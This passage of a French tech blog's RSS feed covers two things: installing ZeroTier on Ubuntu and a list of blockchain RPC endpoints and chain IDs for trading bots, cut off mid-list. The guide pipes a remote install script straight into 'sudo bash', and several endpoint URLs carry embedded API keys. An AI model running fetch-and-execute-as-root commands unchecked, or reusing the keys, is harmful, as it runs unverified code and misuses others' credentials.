            <guid>https://leandeep.com/installer-zerotier-sur-ubuntu-20.04/</guid>
            <description>&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;curl -s https://install.zerotier.com | sudo bash
curl -s &amp;#39;https://raw.githubusercontent.com/zerotier/ZeroTierOne/master/doc/contact%40zerotier.com.gpg&amp;#39; | gpg --import &amp;amp;&amp;amp; \
if z=$(curl -s &amp;#39;https://install.zerotier.com/&amp;#39; | gpg); then echo &amp;#34;$z&amp;#34; | sudo bash; fi
sudo apt update
sudo apt install -y zerotier-one
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;configuration&#34;&gt;Configuration&lt;/h2&gt;
&lt;p&gt;Récupérer votre &lt;code&gt;network_id&lt;/code&gt; sur &lt;a href=&#34;https://my.zerotier.com/&#34;&gt;https://my.zerotier.com/&lt;/a&gt; puis connecter votre serveur à votre réseau.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo zerotier-cli join &amp;lt;network_id&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Retourner sur &lt;a href=&#34;https://my.zerotier.com/&#34;&gt;https://my.zerotier.com/&lt;/a&gt; pour autoriser le nouveau noeud ajouté à accéder à votre réseau.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Editer &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt; et remplacer &lt;code&gt;ListenAddress 0.0.0.0&lt;/code&gt; par &lt;code&gt;ListenAddress IP_DE_VOTRE_RANGE&lt;/code&gt; pour sécuriser davantage votre serveur SSH.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>curl -s https://install.zerotier.com | sudo bash
curl -s &#39;https://raw.githubusercontent.com/zerotier/ZeroTierOne/master/doc/contact%40zerotier.com.gpg&#39; | gpg --import &amp;&amp; \
if z=$(curl -s &#39;https://install.zerotier.com/&#39; | gpg); then echo &#34;$z&#34; | sudo bash; fi
sudo apt update
sudo apt install -y zerotier-one
</code></pre><br/>
<h2 id="configuration">Configuration</h2>
<p>Récupérer votre <code>network_id</code> sur <a href="https://my.zerotier.com/">https://my.zerotier.com/</a> puis connecter votre serveur à votre réseau.</p>
<pre tabindex="0"><code>sudo zerotier-cli join &lt;network_id&gt;
</code></pre><p>Retourner sur <a href="https://my.zerotier.com/">https://my.zerotier.com/</a> pour autoriser le nouveau noeud ajouté à accéder à votre réseau.</p>
<br/>
<p>Editer <code>/etc/ssh/sshd_config</code> et remplacer <code>ListenAddress 0.0.0.0</code> par <code>ListenAddress IP_DE_VOTRE_RANGE</code> pour sécuriser davantage votre serveur SSH.</p>
<br/>
<h2 id="vérification">Vérification</h2>
<pre tabindex="0"><code>sudo zerotier-cli status
</code></pre><br/>
<h2 id="stopper-le-service">Stopper le service</h2>
<pre tabindex="0"><code>systemctl status zerotier-one
systemctl stop zerotier-one
sudo systemctl disable zerotier-one
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Blockchains et RPC nodes pour mes robots de trading</title>
            <link>https://leandeep.com/blockchains-et-rpc-nodes-pour-mes-robots-de-trading/</link>
            <pubDate>Sun, 03 Jul 2022 21:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/blockchains-et-rpc-nodes-pour-mes-robots-de-trading/</guid>
            <description>&lt;p&gt;Voici des informations de base sur les blockchains sur lesquels sont connectés mes robots de trading.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Arbitrum&lt;/li&gt;
&lt;li&gt;Avalanche&lt;/li&gt;
&lt;li&gt;BNB Smart Chain (BSC)&lt;/li&gt;
&lt;li&gt;Celo&lt;/li&gt;
&lt;li&gt;Ethereum&lt;/li&gt;
&lt;li&gt;Fantom&lt;/li&gt;
&lt;li&gt;Fuse&lt;/li&gt;
&lt;li&gt;Gnosis (xDAI)&lt;/li&gt;
&lt;li&gt;Harmony (Mainnet Shard 0)&lt;/li&gt;
&lt;li&gt;Moonriver&lt;/li&gt;
&lt;li&gt;Optimism&lt;/li&gt;
&lt;li&gt;Polygon&lt;/li&gt;
&lt;li&gt;Solana&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;arbitrum&#34;&gt;Arbitrum&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Providers&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Alchemy - &lt;a href=&#34;https://www.alchemy.com&#34;&gt;https://www.alchemy.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;ANKR - &lt;a href=&#34;https://ankr.com&#34;&gt;https://ankr.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Moralis - &lt;a href=&#34;https://moralis.io&#34;&gt;https://moralis.io&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;QuickNode - &lt;a href=&#34;https://www.quicknode.com/&#34;&gt;https://www.quicknode.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Infura - &lt;a href=&#34;https://infura.io&#34;&gt;https://infura.io&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Public Endpoints&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://arb1.arbitrum.io/rpc&#34;&gt;https://arb1.arbitrum.io/rpc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://arbitrum.public-rpc.com&#34;&gt;https://arbitrum.public-rpc.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://rpc.ankr.com/arbitrum&#34;&gt;https://rpc.ankr.com/arbitrum&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Chain Id&lt;/strong&gt;
42161&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Currency&lt;/strong&gt;
ETH&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Explorer&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://arbiscan.io/&#34;&gt;https://arbiscan.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://explorer.arbitrum.io/&#34;&gt;https://explorer.arbitrum.io/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;avalanche-c-chain&#34;&gt;Avalanche (C-Chain)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Providers&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici des informations de base sur les blockchains sur lesquels sont connectés mes robots de trading.</p>
<ul>
<li>Arbitrum</li>
<li>Avalanche</li>
<li>BNB Smart Chain (BSC)</li>
<li>Celo</li>
<li>Ethereum</li>
<li>Fantom</li>
<li>Fuse</li>
<li>Gnosis (xDAI)</li>
<li>Harmony (Mainnet Shard 0)</li>
<li>Moonriver</li>
<li>Optimism</li>
<li>Polygon</li>
<li>Solana</li>
</ul>
<br/>
<h2 id="arbitrum">Arbitrum</h2>
<p><strong>Providers</strong></p>
<ul>
<li>Alchemy - <a href="https://www.alchemy.com">https://www.alchemy.com</a></li>
<li>ANKR - <a href="https://ankr.com">https://ankr.com</a></li>
<li>Moralis - <a href="https://moralis.io">https://moralis.io</a></li>
<li>QuickNode - <a href="https://www.quicknode.com/">https://www.quicknode.com/</a></li>
<li>Infura - <a href="https://infura.io">https://infura.io</a></li>
</ul>
<br/>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://arb1.arbitrum.io/rpc">https://arb1.arbitrum.io/rpc</a></li>
<li><a href="https://arbitrum.public-rpc.com">https://arbitrum.public-rpc.com</a></li>
<li><a href="https://rpc.ankr.com/arbitrum">https://rpc.ankr.com/arbitrum</a></li>
</ul>
<br/>
<p><strong>Chain Id</strong>
42161</p>
<br/>
<p><strong>Currency</strong>
ETH</p>
<br/>
<p><strong>Explorer</strong></p>
<ul>
<li><a href="https://arbiscan.io/">https://arbiscan.io/</a></li>
<li><a href="https://explorer.arbitrum.io/">https://explorer.arbitrum.io/</a></li>
</ul>
<br/>
<h2 id="avalanche-c-chain">Avalanche (C-Chain)</h2>
<p><strong>Providers</strong></p>
<ul>
<li>AllNodes - <a href="https://www.allnodes.com">https://www.allnodes.com</a></li>
<li>Ankr - <a href="https://ankr.com">https://ankr.com</a></li>
<li>Chainstack - <a href="https://chainstack.com/build-better-with-avalanche/">https://chainstack.com/build-better-with-avalanche/</a></li>
<li>Figment Datahub - <a href="https://datahub.figment.io/">https://datahub.figment.io/</a></li>
<li>Moralis - <a href="https://moralis.io">https://moralis.io</a></li>
<li>Pocket Network - <a href="https://mainnet.portal.pokt.network">https://mainnet.portal.pokt.network</a></li>
<li>Quicknode - <a href="https://www.quicknode.com/">https://www.quicknode.com/</a></li>
</ul>
<br/>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://api.avax.network/ext/bc/C/rpc">https://api.avax.network/ext/bc/C/rpc</a></li>
<li><a href="https://ava-mainnet.public.blastapi.io/ext/bc/C/rpc">https://ava-mainnet.public.blastapi.io/ext/bc/C/rpc</a></li>
<li><a href="https://avalanche.public-rpc.com">https://avalanche.public-rpc.com</a></li>
<li><a href="https://avax.rpcgator.com/">https://avax.rpcgator.com/</a> - RPC Agreggator / Gateway</li>
<li><a href="https://rpc.ankr.com/avalanche">https://rpc.ankr.com/avalanche</a></li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://docs.avax.network/build/tutorials/nodes-and-staking/run-avalanche-node">https://docs.avax.network/build/tutorials/nodes-and-staking/run-avalanche-node</a></li>
</ul>
<br/>
<p><strong>Chain ID</strong>
43114</p>
<br/>
<p><strong>Currency</strong>
AVAX</p>
<br/>
<p><strong>Explorer</strong></p>
<ul>
<li><a href="https://explorer.avax.network/">https://explorer.avax.network/</a></li>
</ul>
<br/>
<h2 id="bnb-smart-chain-bsc">BNB Smart Chain (BSC)</h2>
<p><strong>Providers</strong></p>
<ul>
<li>ANKR - <a href="https://ankr.com">https://ankr.com</a></li>
<li>Chainstack - <a href="https://chainstack.com/build-better-with-binance-smart-chain/">https://chainstack.com/build-better-with-binance-smart-chain/</a></li>
<li>Figment Datahub - <a href="https://datahub.figment.io/">https://datahub.figment.io/</a></li>
<li>GetBlock - <a href="https://getblock.io">https://getblock.io</a></li>
<li>Moralis - <a href="https://moralis.io">https://moralis.io</a></li>
<li>Pocket Network - <a href="https://mainnet.portal.pokt.network">https://mainnet.portal.pokt.network</a></li>
<li>QuickNode - <a href="https://www.quicknode.com">https://www.quicknode.com</a></li>
</ul>
<br/>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://bsc-dataseed.binance.org">https://bsc-dataseed.binance.org</a></li>
<li><a href="https://bsc-dataseed1.defibit.io">https://bsc-dataseed1.defibit.io</a></li>
<li><a href="https://bsc-dataseed1.ninicoin.io/">https://bsc-dataseed1.ninicoin.io/</a></li>
<li><a href="https://bsc-dataseed1.binance.org">https://bsc-dataseed1.binance.org</a></li>
<li><a href="https://bsc-dataseed2.binance.org">https://bsc-dataseed2.binance.org</a></li>
<li><a href="https://bsc-dataseed3.binance.org">https://bsc-dataseed3.binance.org</a></li>
<li><a href="https://bsc-dataseed4.binance.org">https://bsc-dataseed4.binance.org</a></li>
<li><a href="https://bsc-dataseed1.defibit.io">https://bsc-dataseed1.defibit.io</a></li>
<li><a href="https://bsc-dataseed2.defibit.io">https://bsc-dataseed2.defibit.io</a></li>
<li><a href="https://bsc-dataseed3.defibit.io">https://bsc-dataseed3.defibit.io</a></li>
<li><a href="https://bsc-dataseed4.defibit.io">https://bsc-dataseed4.defibit.io</a></li>
<li><a href="https://bsc-dataseed1.ninicoin.io">https://bsc-dataseed1.ninicoin.io</a></li>
<li><a href="https://bsc-dataseed2.ninicoin.io">https://bsc-dataseed2.ninicoin.io</a></li>
<li><a href="https://bsc-dataseed3.ninicoin.io">https://bsc-dataseed3.ninicoin.io</a></li>
<li><a href="https://bsc-dataseed4.ninicoin.io">https://bsc-dataseed4.ninicoin.io</a></li>
<li><a href="https://rpc-bsc.bnb48.club">https://rpc-bsc.bnb48.club</a></li>
<li><a href="https://binance.nodereal.io">https://binance.nodereal.io</a></li>
<li><a href="https://rpc.ankr.com/bsc">https://rpc.ankr.com/bsc</a></li>
<li><a href="https://bsc-mainnet.nodereal.io/v1/64a9df0874fb4a93b9d0a3849de012d3">https://bsc-mainnet.nodereal.io/v1/64a9df0874fb4a93b9d0a3849de012d3</a></li>
<li><a href="https://bscrpc.com">https://bscrpc.com</a></li>
</ul>
<br/>
<p><strong>WebSocket</strong></p>
<ul>
<li>wss://bsc-mainnet.nodereal.io/ws/v1/64a9df0874fb4a93b9d0a3849de012d3</li>
<li>wss://bsc-ws-node.nariox.org</li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://docs.binance.org/smart-chain/developer/fullnode.html">https://docs.binance.org/smart-chain/developer/fullnode.html</a></li>
</ul>
<br/>
<p><strong>Chain ID</strong>
56</p>
<br/>
<p><strong>Currency</strong>
BNB</p>
<br/>
<p><strong>Block Explorer URL</strong></p>
<ul>
<li><a href="https://bscscan.com">https://bscscan.com</a></li>
</ul>
<br/>
<h2 id="celo">Celo</h2>
<p><strong>Providers</strong></p>
<ul>
<li>ANKR - <a href="https://ankr.com">https://ankr.com</a></li>
<li>QuickNode - <a href="https://www.quicknode.com/">https://www.quicknode.com/</a></li>
</ul>
<br/>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://forno.celo.org">https://forno.celo.org</a></li>
<li><a href="https://rpc.ankr.com/celo">https://rpc.ankr.com/celo</a></li>
</ul>
<br/>
<p><strong>Websockets</strong></p>
<ul>
<li>wss://forno.celo.org/ws</li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://docs.celo.org/getting-started/mainnet/running-a-full-node-in-mainnet">https://docs.celo.org/getting-started/mainnet/running-a-full-node-in-mainnet</a></li>
</ul>
<br/>
<p><strong>Chain ID</strong>
42220</p>
<br/>
<p><strong>Currency</strong>
CELO</p>
<br/>
<p><strong>Block Explorer URL</strong></p>
<ul>
<li><a href="https://explorer.celo.org/">https://explorer.celo.org/</a></li>
<li><a href="https://celoscan.io/">https://celoscan.io/</a></li>
</ul>
<br/>
<h2 id="ethereum">Ethereum</h2>
<p><strong>Providers</strong></p>
<ul>
<li>Alchemy - <a href="https://www.alchemy.com">https://www.alchemy.com</a></li>
<li>AllNodes - <a href="https://www.allnodes.com">https://www.allnodes.com</a></li>
<li>Amazon Managed Blockchain - <a href="https://aws.amazon.com/managed-blockchain">https://aws.amazon.com/managed-blockchain</a></li>
<li>Ankr - <a href="https://ankr.com">https://ankr.com</a></li>
<li>ArchiveNode - <a href="https://archivenode.io/">https://archivenode.io/</a></li>
<li>Chainstack - <a href="https://chainstack.com/build-better-with-ethereum/">https://chainstack.com/build-better-with-ethereum/</a></li>
<li>Figment Datahub - <a href="https://datahub.figment.io/">https://datahub.figment.io/</a></li>
<li>Infura.io - <a href="https://infura.io">https://infura.io</a></li>
<li>Moralis - <a href="https://moralis.io">https://moralis.io</a></li>
<li>Pocket Network - <a href="https://mainnet.portal.pokt.network">https://mainnet.portal.pokt.network</a></li>
<li>QuickNode - <a href="https://www.quicknode.com">https://www.quicknode.com</a></li>
<li>0x - <a href="https://0x.org">https://0x.org</a></li>
<li>ZMOK - <a href="https://zmok.io/">https://zmok.io/</a></li>
</ul>
<br/>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://api.mycryptoapi.com/eth">https://api.mycryptoapi.com/eth</a></li>
<li><a href="https://cloudflare-eth.com">https://cloudflare-eth.com</a></li>
<li><a href="https://eth-mainnet.public.blastapi.io">https://eth-mainnet.public.blastapi.io</a></li>
<li><a href="https://eth-mainnet.gateway.pokt.network/v1/5f3453978e354ab992c4da79">https://eth-mainnet.gateway.pokt.network/v1/5f3453978e354ab992c4da79</a></li>
<li><a href="https://eth-mainnet.nodereal.io/v1/1659dfb40aa24bbb8153a677b98064d7">https://eth-mainnet.nodereal.io/v1/1659dfb40aa24bbb8153a677b98064d7</a></li>
<li><a href="https://eth-rpc.gateway.pokt.network">https://eth-rpc.gateway.pokt.network</a></li>
<li><a href="https://ethereumnodelight.app.runonflux.io">https://ethereumnodelight.app.runonflux.io</a></li>
<li><a href="https://main-light.eth.linkpool.io">https://main-light.eth.linkpool.io</a></li>
<li><a href="https://main-rpc.linkpool.io">https://main-rpc.linkpool.io</a></li>
<li><a href="https://mainnet.eth.cloud.ava.do/">https://mainnet.eth.cloud.ava.do/</a></li>
<li><a href="https://mainnet-nethermind.blockscout.com/">https://mainnet-nethermind.blockscout.com/</a></li>
<li><a href="https://rpc.ankr.com/eth">https://rpc.ankr.com/eth</a></li>
<li><a href="https://rpc.flashbots.net/">https://rpc.flashbots.net/</a></li>
</ul>
<br/>
<p><strong>Websockets</strong></p>
<ul>
<li>wss://eth-mainnet.nodereal.io/ws/v1/1659dfb40aa24bbb8153a677b98064d7</li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://ethereum.org/en/developers/docs/nodes-and-clients/run-a-node/">https://ethereum.org/en/developers/docs/nodes-and-clients/run-a-node/</a></li>
<li><a href="https://www.quicknode.com/guides/infrastructure/how-to-run-a-openethereum-ex-parity-client-node">https://www.quicknode.com/guides/infrastructure/how-to-run-a-openethereum-ex-parity-client-node</a></li>
<li><a href="https://www.quicknode.com/guides/infrastructure/how-to-install-and-run-a-geth-node">https://www.quicknode.com/guides/infrastructure/how-to-install-and-run-a-geth-node</a></li>
</ul>
<br/>
<p><strong>Chain Id</strong>
1</p>
<br/>
<p><strong>Currency</strong>
ETH</p>
<br/>
<p><strong>Explorer</strong></p>
<ul>
<li><a href="https://etherscan.io/">https://etherscan.io/</a></li>
</ul>
<br/>
<h2 id="fantom">Fantom</h2>
<p><strong>Providers</strong></p>
<ul>
<li>QuickNode - <a href="https://www.quicknode.com">https://www.quicknode.com</a></li>
<li>ANKR - <a href="https://ankr.com">https://ankr.com</a></li>
<li>Moralis - <a href="https://moralis.io">https://moralis.io</a></li>
<li>Chainstack - <a href="https://chainstack.com/build-better-with-fantom/">https://chainstack.com/build-better-with-fantom/</a></li>
</ul>
<br/>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://fantom-mainnet.gateway.pokt.network/v1/lb/62759259ea1b320039c9e7ac">https://fantom-mainnet.gateway.pokt.network/v1/lb/62759259ea1b320039c9e7ac</a></li>
<li><a href="https://fantom-mainnet.public.blastapi.io">https://fantom-mainnet.public.blastapi.io</a></li>
<li><a href="https://ftm.rpcgator.com/">https://ftm.rpcgator.com/</a> (Gateway)</li>
<li><a href="https://rpc.ankr.com/fantom">https://rpc.ankr.com/fantom</a></li>
<li><a href="https://rpc.fantom.network">https://rpc.fantom.network</a></li>
<li><a href="https://rpc.ftm.tools/">https://rpc.ftm.tools/</a></li>
<li><a href="https://rpc2.fantom.network">https://rpc2.fantom.network</a></li>
<li><a href="https://rpc3.fantom.network">https://rpc3.fantom.network</a></li>
<li><a href="https://rpcapi.fantom.network">https://rpcapi.fantom.network</a></li>
</ul>
<br/>
<p><strong>WebSocket</strong></p>
<ul>
<li>wss://wsapi.fantom.network</li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://docs.fantom.foundation/staking/how-to-run-a-validator-node">https://docs.fantom.foundation/staking/how-to-run-a-validator-node</a></li>
</ul>
<br/>
<p><strong>Chain Id</strong>
250</p>
<br/>
<p><strong>Currency</strong>
FTM</p>
<br/>
<p><strong>Explorer</strong></p>
<ul>
<li><a href="https://ftmscan.com/">https://ftmscan.com/</a></li>
<li><a href="https://explorer.fantom.network/">https://explorer.fantom.network/</a></li>
</ul>
<br/>
<h2 id="fuse">Fuse</h2>
<p><strong>Providers</strong></p>
<ul>
<li><a href="https://mainnet.portal.pokt.network">https://mainnet.portal.pokt.network</a></li>
</ul>
<br/>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://fuse-rpc.gateway.pokt.network/">https://fuse-rpc.gateway.pokt.network/</a></li>
<li><a href="https://rpc.fuse.io">https://rpc.fuse.io</a></li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://developers.fuse.io/fuse-dev-docs/network/how-to-run-network-nodes">https://developers.fuse.io/fuse-dev-docs/network/how-to-run-network-nodes</a></li>
</ul>
<br/>
<p><strong>Chain Id</strong>
122</p>
<br/>
<p><strong>Currency</strong>
FUSE</p>
<br/>
<p><strong>Explorer</strong></p>
<ul>
<li><a href="https://explorer.fuse.io/">https://explorer.fuse.io/</a></li>
</ul>
<br/>
<h2 id="gnosis-xdai">Gnosis (xDAI)</h2>
<p><strong>Providers</strong></p>
<ul>
<li>ANKR - <a href="https://ankr.com">https://ankr.com</a></li>
<li>GetBlock - <a href="https://getblock.io">https://getblock.io</a></li>
<li>Pocket Network - <a href="https://mainnet.portal.pokt.network">https://mainnet.portal.pokt.network</a></li>
<li>QuickNode - <a href="https://www.quicknode.com">https://www.quicknode.com</a></li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://docs.gnosischain.com/validator-info/get-started-node-setup">https://docs.gnosischain.com/validator-info/get-started-node-setup</a></li>
</ul>
<br/>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://gnosis-mainnet.public.blastapi.io">https://gnosis-mainnet.public.blastapi.io</a></li>
<li><a href="https://gnosis.public-rpc.com">https://gnosis.public-rpc.com</a></li>
<li><a href="https://rpc.ankr.com/gnosis">https://rpc.ankr.com/gnosis</a></li>
<li><a href="https://rpc.gnosischain.com">https://rpc.gnosischain.com</a></li>
<li><a href="https://rpc.xdaichain.com">https://rpc.xdaichain.com</a></li>
<li><a href="https://xdai-archive.blockscout.com">https://xdai-archive.blockscout.com</a></li>
<li><a href="https://xdai-rpc.gateway.pokt.network">https://xdai-rpc.gateway.pokt.network</a></li>
<li><a href="https://xdai.poanetwork.dev">https://xdai.poanetwork.dev</a></li>
<li><a href="https://xdai-rpc.gateway.pokt.network">https://xdai-rpc.gateway.pokt.network</a></li>
</ul>
<br/>
<p><strong>WebSocket</strong></p>
<ul>
<li>wss://rpc.gnosischain.com/wss</li>
</ul>
<br/>
<p><strong>Chain Id</strong>
100</p>
<br/>
<p><strong>Currency</strong>
xDAI</p>
<br/>
<p><strong>Explorer</strong></p>
<ul>
<li><a href="https://blockscout.com/xdai/mainnet/">https://blockscout.com/xdai/mainnet/</a></li>
<li><a href="https://explorer.poa.network/poa/xdai/">https://explorer.poa.network/poa/xdai/</a></li>
</ul>
<br/>
<h2 id="harmony-mainnet-shard-0">Harmony (Mainnet Shard 0)</h2>
<p><strong>Providers</strong></p>
<ul>
<li>Chainstack - <a href="https://chainstack.com/build-better-with-harmony/">https://chainstack.com/build-better-with-harmony/</a></li>
<li>Pocket Network - <a href="https://mainnet.portal.pokt.network">https://mainnet.portal.pokt.network</a></li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://docs.harmony.one/home/network/validators/node-setup">https://docs.harmony.one/home/network/validators/node-setup</a></li>
</ul>
<br/>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://a.api.s0.t.hmny.io">https://a.api.s0.t.hmny.io</a></li>
<li><a href="https://api.harmony.one">https://api.harmony.one</a></li>
<li><a href="https://api.s0.t.hmny.io">https://api.s0.t.hmny.io</a></li>
<li><a href="https://harmony.public-rpc.com">https://harmony.public-rpc.com</a></li>
<li><a href="https://harmony-0-rpc.gateway.pokt.network">https://harmony-0-rpc.gateway.pokt.network</a></li>
<li><a href="https://harmony-mainnet.chainstacklabs.com">https://harmony-mainnet.chainstacklabs.com</a></li>
</ul>
<br/>
<p><strong>WebSocket</strong></p>
<ul>
<li>wss://ws.s0.t.hmny.io</li>
<li>wss://ws-harmony-mainnet.chainstacklabs.com</li>
</ul>
<br/>
<p><strong>Chain Id</strong>
1666600000</p>
<br/>
<p><strong>Currency</strong>
ONE</p>
<br/>
<p><strong>Explorer</strong></p>
<ul>
<li><a href="https://explorer.harmony.one/">https://explorer.harmony.one/</a></li>
</ul>
<br/>
<h2 id="moonriver">Moonriver</h2>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://moonriver.api.onfinality.io/public">https://moonriver.api.onfinality.io/public</a></li>
<li><a href="https://moonriver.api.onfinality.io/rpc?apikey=673e1fae-c9c9-4c7f-a3d5-2121e8274366">https://moonriver.api.onfinality.io/rpc?apikey=673e1fae-c9c9-4c7f-a3d5-2121e8274366</a></li>
<li><a href="https://moonriver.public.blastapi.io">https://moonriver.public.blastapi.io</a></li>
<li><a href="https://rpc.api.moonriver.moonbeam.network">https://rpc.api.moonriver.moonbeam.network</a></li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<p><a href="https://docs.moonbeam.network/node-operators/networks/run-a-node/">https://docs.moonbeam.network/node-operators/networks/run-a-node/</a></p>
<br/>
<p><strong>Websocket</strong></p>
<ul>
<li>wss://wss.api.moonriver.moonbeam.network</li>
</ul>
<br/>
<p><strong>Chain Id</strong>
1285</p>
<br/>
<p><strong>Currency</strong>
MOVR</p>
<br/>
<p><strong>Explorer</strong></p>
<ul>
<li><a href="https://blockscout.moonriver.moonbeam.network/">https://blockscout.moonriver.moonbeam.network/</a></li>
<li><a href="https://moonriver.moonscan.io/">https://moonriver.moonscan.io/</a></li>
</ul>
<br/>
<h2 id="optimism-ethereum">Optimism Ethereum</h2>
<p><strong>Providers</strong></p>
<ul>
<li>Ankr - <a href="https://ankr.com">https://ankr.com</a></li>
<li>QuickNode - <a href="https://www.quicknode.com/">https://www.quicknode.com/</a></li>
<li>Infura - <a href="https://infura.io">https://infura.io</a></li>
</ul>
<br/>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://mainnet.optimism.io/">https://mainnet.optimism.io/</a></li>
<li><a href="https://optimism-mainnet.public.blastapi.io">https://optimism-mainnet.public.blastapi.io</a></li>
<li><a href="https://rpc.ankr.com/optimism">https://rpc.ankr.com/optimism</a></li>
</ul>
<br/>
<p><strong>Chain Id</strong>
10</p>
<br/>
<p><strong>Currency</strong>
ETH</p>
<br/>
<p><strong>Explorer</strong></p>
<ul>
<li><a href="https://optimistic.etherscan.io/">https://optimistic.etherscan.io/</a></li>
</ul>
<br/>
<h2 id="polygon">Polygon</h2>
<p><strong>Providers</strong></p>
<ul>
<li>AllNodes - <a href="https://www.allnodes.com">https://www.allnodes.com</a></li>
<li>Ankr - <a href="https://ankr.com">https://ankr.com</a></li>
<li>Chainstack - <a href="https://chainstack.com">https://chainstack.com</a></li>
<li>Figment Datahub - <a href="https://datahub.figment.io/">https://datahub.figment.io/</a></li>
<li>Infura.io - <a href="https://infura.io">https://infura.io</a></li>
<li>MaticVigil - <a href="https://maticvigil.com">https://maticvigil.com</a></li>
<li>Moralis - <a href="https://moralis.io">https://moralis.io</a></li>
<li>Pocket Network - <a href="https://mainnet.portal.pokt.network">https://mainnet.portal.pokt.network</a></li>
<li>QuickNode - <a href="https://www.quicknode.com">https://www.quicknode.com</a></li>
</ul>
<br/>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://matic-mainnet-archive-rpc.bwarelabs.com">https://matic-mainnet-archive-rpc.bwarelabs.com</a></li>
<li><a href="https://matic-mainnet.chainstacklabs.com">https://matic-mainnet.chainstacklabs.com</a></li>
<li><a href="https://matic-mainnet-full-rpc.bwarelabs.com">https://matic-mainnet-full-rpc.bwarelabs.com</a></li>
<li><a href="https://poly-rpc.gateway.pokt.network/">https://poly-rpc.gateway.pokt.network/</a></li>
<li><a href="https://polygon-rpc.com">https://polygon-rpc.com</a></li>
<li><a href="https://rpc.ankr.com/polygon">https://rpc.ankr.com/polygon</a></li>
<li><a href="https://rpc-mainnet.matic.network">https://rpc-mainnet.matic.network</a></li>
<li><a href="https://rpc-mainnet.matic.quiknode.pro">https://rpc-mainnet.matic.quiknode.pro</a></li>
<li><a href="https://rpc-mainnet.maticvigil.com">https://rpc-mainnet.maticvigil.com</a></li>
</ul>
<br/>
<p><strong>WebSocket</strong></p>
<ul>
<li>wss://rpc-mainnet.matic.network</li>
<li>wss://rpc-mainnet.matic.quiknode.pro</li>
<li>wss://rpc-mainnet.maticvigil.com/ws</li>
<li>wss://ws-matic-mainnet.chainstacklabs.com</li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://docs.polygon.technology/docs/validate/validate/getting-started">https://docs.polygon.technology/docs/validate/validate/getting-started</a></li>
</ul>
<br/>
<p><strong>Chain Id</strong>
137</p>
<br/>
<p><strong>Currency</strong>
MATIC</p>
<br/>
<p><strong>Explorer</strong></p>
<ul>
<li><a href="https://polygonscan.com/">https://polygonscan.com/</a></li>
</ul>
<br/>
<h2 id="solana">Solana</h2>
<p><strong>Providers:</strong></p>
<ul>
<li>Chainstack - <a href="https://chainstack.com/build-better-with-solana/">https://chainstack.com/build-better-with-solana/</a></li>
<li>Figment Datahub - <a href="https://datahub.figment.io/">https://datahub.figment.io/</a></li>
<li>Pocket Network - <a href="https://mainnet.portal.pokt.network">https://mainnet.portal.pokt.network</a></li>
<li>Quicknode - <a href="https://www.quicknode.com/">https://www.quicknode.com/</a></li>
</ul>
<br/>
<p><strong>Public Endpoints</strong></p>
<ul>
